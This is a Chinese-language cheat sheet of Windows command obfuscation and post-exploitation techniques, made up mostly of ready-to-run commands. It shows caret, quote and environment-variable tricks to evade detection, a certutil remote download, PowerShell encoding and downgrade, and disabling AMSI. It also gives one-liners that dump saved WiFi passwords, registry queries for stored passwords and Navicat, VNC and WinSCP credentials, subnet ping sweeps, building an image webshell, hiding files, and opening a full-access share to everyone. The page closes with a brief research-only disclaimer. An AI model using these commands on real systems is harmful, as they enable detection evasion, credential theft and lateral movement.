浅谈命令混淆
字数 555 2025-08-24 23:51:18

Windows命令混淆与绕过技术详解

1. 命令混淆基础技术

1.1 特殊符号与大小写混淆

  • 基本方法:使用双引号、尖角号(^)、括号、逗号、分号等特殊字符

    wh"o"aM^i
    cmd /c ",;((w^h^o^a^M^i))"
    
  • 非主流特殊字符

    certutil /⸿⸿⸿split -ur₏₏lcache -f http://192.168.1.102:1337/axgg.txt axgg.txt
    

1.2 环境变量混淆

  • 查看环境变量

    set
    
  • 环境变量截取

    %comspec:~3,1%hoa%comspec:~21,1%i
    

    解释:%comspec:~3,1%截取COMSPEC变量第3位字符(w),%comspec:~21,1%截取第21位字符(m)

  • 自定义环境变量

    set a=cmd /c whoami
    %a%
    
  • 组合使用

    cmd /c "set a1=ser&& set a2=ne&& set a3=t u&&call echo %a2%%a3%%a1%"
    

1.3 For循环混淆

for /f "tokens=4 delims=\" %f in ("c:\windows\system32\whoami\") do %f

解释:以\分割路径,取第4个token即"whoami"

2. PowerShell混淆技术

2.1 Base64编码

powershell -enc [Base64编码的命令]

2.2 版本降级

powershell -version 2

2.3 API调用混淆

Get-WmiObject -Class Win32_UserAccount

2.4 注册表操作

dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name

3. 自动化混淆工具

3.1 Dosfuscation

Invoke-DOSfuscation  # 启动
TUTORIAL             # 开启模块
SET COMMAND whoami   # 加密你想执行的命令

4. 常用信息收集命令

4.1 主机信息收集

qwinsta  # 查看在线用户
wmic logicaldisk where DriveType = 3 get DeviceID  # 查看系统盘符
wmic useraccount get name,sid  # 查看所有用户SID
cacls c:\  # 查看C盘权限
icacls C:\Windows  # 查看文件ACL
nbtstat -A 127.0.0.1  # 查看主机BIOS名

4.2 横向移动相关

netsh wlan show profile  # 查看连接过的WiFi
netsh wlan show profile WiFi-name key=clear  # 获取WiFi密码

# 获取所有WiFi密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

# 网段扫描
for /l %i in (1,1,255) do @ping 172.16.0.%i -w 1 -n 1 | find "TTL="

# 多线程网段扫描
for /l %a in (0,1,2) do cmd /c "choice /t 7 /d y /n >nul" & for /l %b in (1,1,255) do start cmd /c "ping 172.29.%a.%b -l 1 -n 1 -i 1 >172.29.%a.%b.txt"

4.3 文件搜索

findstr /s /m "password" *.*  # 查找含password的文件
dir c:\a.txt /s /b  # 查找c盘的a.txt

5. 历史记录与注册表

5.1 命令历史记录

Get-Content (Get-PSReadlineOption).HistorySavePath

或查看文件:

%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
%appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

5.2 注册表信息

  • RDP连接记录

    HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers
    
  • 禁用AMSI(需高权限):

    HKEY_CURRENT_USER\Software\Microsoft\Windows Script\Settings\AmsiEnable
    
  • 数据库连接信息

    Navicat: HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\<connection>
    MySQL/MariaDB/MongoDB/SQL Server/Oracle/PostgreSQL/SQLite等
    
  • VNC信息

    RealVNC: HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver
    TightVNC: HKEY_CURRENT_USER\Software\TightVNC\Server Value
    TigerVNC: HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4
    WinSCP: HKCU\Software\Martin Prikryl\WinSCP 2\Sessions
    
  • 搜索密码字段

    reg query HKCU /f password /t REG_SZ /s
    reg query HKLM /f password /t REG_SZ /s
    

6. 文件操作技巧

6.1 文件合并

copy x.jpg/b+12.php 3.jpg  # 制作一句话

6.2 压缩解压

makecab.exe 1.doc 1.zip  # 压缩
expand 1.zip 1.doc       # 解压

# 批量压缩
dir /b >>name.txt
makecab /f name.txt /d maxdisksize=1024000
expand 1.cab -f:* c:\test\

6.3 其他文件操作

attrib C:\test.exe +s +h  # 隐藏文件
>>b.txt set/p="123"<nul   # 追加不换行
echo 123 > axgg::$INDEX_ALLOCATION  # 文件流创建
rd axgg::$INDEX_ALLOCATION          # 删除文件流

7. 网络与共享

net share everyone=C:\Windows /grant:everyone,full  # 开启共享
set http_proxy=http://127.0.0.1:1080  # 设置cmd代理
mstsc /admin /v:ip  # 远程连接
mstsc /console /v:ip

8. 进程与安全

taskkill /pid 1080 /f  # 结束进程
secpol.msc            # 本地安全策略
certutil.exe -hashfile 1.txt  # 计算文件哈希

以上技术仅用于安全研究和防御目的,请勿用于非法用途。

Windows命令混淆与绕过技术详解 1. 命令混淆基础技术 1.1 特殊符号与大小写混淆 基本方法 :使用双引号、尖角号(^)、括号、逗号、分号等特殊字符 非主流特殊字符 : 1.2 环境变量混淆 查看环境变量 : 环境变量截取 : 解释: %comspec:~3,1% 截取COMSPEC变量第3位字符(w), %comspec:~21,1% 截取第21位字符(m) 自定义环境变量 : 组合使用 : 1.3 For循环混淆 解释:以 \ 分割路径,取第4个token即"whoami" 2. PowerShell混淆技术 2.1 Base64编码 2.2 版本降级 2.3 API调用混淆 2.4 注册表操作 3. 自动化混淆工具 3.1 Dosfuscation 4. 常用信息收集命令 4.1 主机信息收集 4.2 横向移动相关 4.3 文件搜索 5. 历史记录与注册表 5.1 命令历史记录 或查看文件: 5.2 注册表信息 RDP连接记录 : 禁用AMSI (需高权限): 数据库连接信息 : VNC信息 : 搜索密码字段 : 6. 文件操作技巧 6.1 文件合并 6.2 压缩解压 6.3 其他文件操作 7. 网络与共享 8. 进程与安全 以上技术仅用于安全研究和防御目的,请勿用于非法用途。